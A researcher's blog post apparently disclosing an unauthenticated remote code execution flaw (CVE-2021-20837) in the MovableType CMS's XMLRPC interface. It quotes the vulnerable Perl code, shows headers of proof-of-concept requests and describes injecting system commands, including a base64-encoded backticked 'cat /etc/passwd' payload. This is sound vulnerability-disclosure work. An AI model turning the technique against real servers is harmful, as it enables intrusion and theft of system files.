A few months back, we performed an independant audit against the MovableType(MT) CMS, open source version available on Github.

The eccentric aspects of the Perl language definitely were an attractive part of this audit. The code always looks like its just one typo away from being vulnerable to RCE, which makes it fun.

Note: “MT” will be used instead of “MovableType” for the rest of this post.

Chaotic XMLRPC

We began by mapping the unauthenticated functionalities available in MT.
Most of these are contained in CGI scripts in MT’s case.

These scripts perform various actions, some of them even requiring authentication to be used.
We very quickly zoned into the XMLRPC implementation of MT, since we don’t need to be authenticated to use most of it.

The file “mt-xmlrpc.cgi” is the script in question used for MT’s implementation of XMLRPC, our search began there.

While digging deeper in the XMLRPC implementation, down to the libraries, we found something interesting in the SOAP::Lite library.

Here is the snippet in question:

    unless (($class eq 'main') || $class->can($method_name)
        || exists($INC{join '/', split /::/, $class . '.pm'})) {

        # allow all for static and only specified path for dynamic bindings
        local @INC = (($static ? @INC : ()), grep {!ref && m![/\\.]!};
        eval 'local $^W; ' . "require $class";
        die "Failed to access class ($class): $@" if $@;
        $self->dispatched($class) unless $static;

    die "Denied access to method ($method_name) in class ($class)"
        unless $static || grep {/^$class$/} $self->dispatched;

    return ($class, $method_uri, $method_name);

This looks vulnerable because, some part of the string that we control gets placed directly in an eval.
This eval does a require statement, which garantees that the right side of the expression will be executed first.

However, there is filtering done on methodName:

die "Denied access to method ($method_name)\n" unless $method_name =~ /^\w+$/;

We can see that it only allows alphanumeric and the underscore symbol. Anything else will kill our request and give us the “Denied access” message.

We noticed as well that the “.” made a difference in the way our request was treated.
We found a way to get partial code execution by using perl builtins and then appending ‘.’ and an arbitrary string at the end, in our case we used “anystring”.

It seems that by specifying a ‘.’ our builtin gets executed in the “require $class” statement above.

Let’s test it out:

POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1
Host: movable.lan
User-Agent: Partial-code-execution-SOAP
Accept: */*
Content-Length: 97
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>


Here we can see that we get code execution of the builtin “gmtime” and we can see its output.
We decided to find another way after a while, since we were unable to go from partial code execution to full RCE through this vector.

Finding another way in

Moving our focus elsewhere, we discovered the “mt” object and its peculiarities.
This object is used when making calls to XMLRPC in order to call its associated functions.

What we noticed is that, the calls to this object are only validated by checking if the method exists within it.
If the method is available, the request will go through without further checks, and we will get to execute said method.

We started exploring what we could do with it and soon found, that we could call more than the documented functions.

We noticed that the “mt” object had access to functions like “mt.VERSION”.

This is because this object is created from an instance of MT itself, which contains interesting functions.
Let’s review the object creation code.

sub mt_new {
    my $cfg
        = MT::Util::is_mod_perl1()
        ? Apache->request->dir_config('MTConfig')
        : ( $ENV{MT_CONFIG} || $MT::XMLRPCServer::MT_DIR . '/mt-config.cgi' );
	# ! This creates a new MT instance ! (that also acts as XMLRPCServer)
    my $mt = MT->new( Config => $cfg )
        or die MT::XMLRPCServer::_fault( MT->errstr );


    $mt->config( 'DeleteFilesAfterRebuild', 0, 0 );

    $mt->run_callbacks( 'init_app', $mt, { App => 'xmlrpc' } );

We can see here that it uses MT’s constructor and gives it config to personalize it.
It appears that creating the XMLRPCServer instance that way, exposes every function contained in the file.

We then began scanning the source code for a way to upgrade this out-of-scope execution of internal functions to something like RCE or a privilege escalation.

We have multiple criterias to meet in order to gain RCE.

  • We need a function that will remove the first parameter and ignore it.
    This is necessary because our first argument is always the “mt” object and we cannot control it.

  • We need a function that will perform an unsafe action with one of the other parameters.

  • The unsafe and controllable parameter has to be of a type that is supported by XMLRPC.

Here comes the perfect candidate: handler_to_coderef
Here is the vulnerable code:

# /lib/ - line 2614:
sub handler_to_coderef {
    my $pkg = shift;
    my ( $name, $delayed ) = @_;

    return $name if ref($name) eq 'CODE';
    return undef unless defined $name && $name ne '';

# -- SNIP -- lines 2621 to 2650 -- #

    my $hdlr_pkg = $name;
    my $method;

    # strip routine name
    if ( $hdlr_pkg =~ s/->(\w+)$// ) {
        $method = $1;
    else {
        $hdlr_pkg =~ s/::[^:]+$//;
    if ( !defined(&$name) && !$pkg->can('AUTOLOAD') ) {
		# -- SNIPPED since we take the else -- #
        else {
			# ! We use $hdlr_pkg directly, which leads to RCE !
            eval "# line "
                . __LINE__ . " "
                . __FILE__
                . "\nrequire $hdlr_pkg;"
                or Carp::confess(
                "failed loading package $hdlr_pkg for routine $name: $@");

We can see here that it uses our controllable “$name” parameter to create a “$hdlr_pkg” variable that is then used directly in an eval string.

Since we are in a require statement as well here, our code is sure to execute.
Let’s craft a request to print the time:

POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1
Host: movable.lan
User-Agent: PoC-RCE
Accept: */*
Content-Length: 183
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>

Let’s try to execute some system commands:

POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1
Host: movable.lan
User-Agent: PoC-RCE
Accept: */*
Content-Length: 214
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>

We can simply call system and send ourselves a request with curl to confirm our RCE.
We didn’t get a response from the server, but we received test request:

This means that we officially compromised MT with an unauthenticated RCE vulnerability.
Hype ensued.

Optimizing our payload

Once we compromised MT, we looked for ways to optimize our PoC.
We ended up doing two things:

  • We used backticks in our payload to get the output returned into the require statement.
    This way, we can get the output of our command inside of the response’s error message.

  • We also simplified our delivery by encoding our payload in base64 and using the XMLRPC library’s builtin support for it.

Let’s craft a payload encoded in base64:

echo -n '`cat /etc/passwd`'|base64

Here is the JVN and CVE:

Here is the metasploit module for this CVE: Github :: CVE-2021-20837 :: PoC
It was already sent to the exploit-db team for review, so it should appear on the site in a timely manner.

My partner in this journey was The Criminal One.
Our collaboration is what ultimately led to this discovery.

More posts to come about HTB boxes, OSCP and OSWE.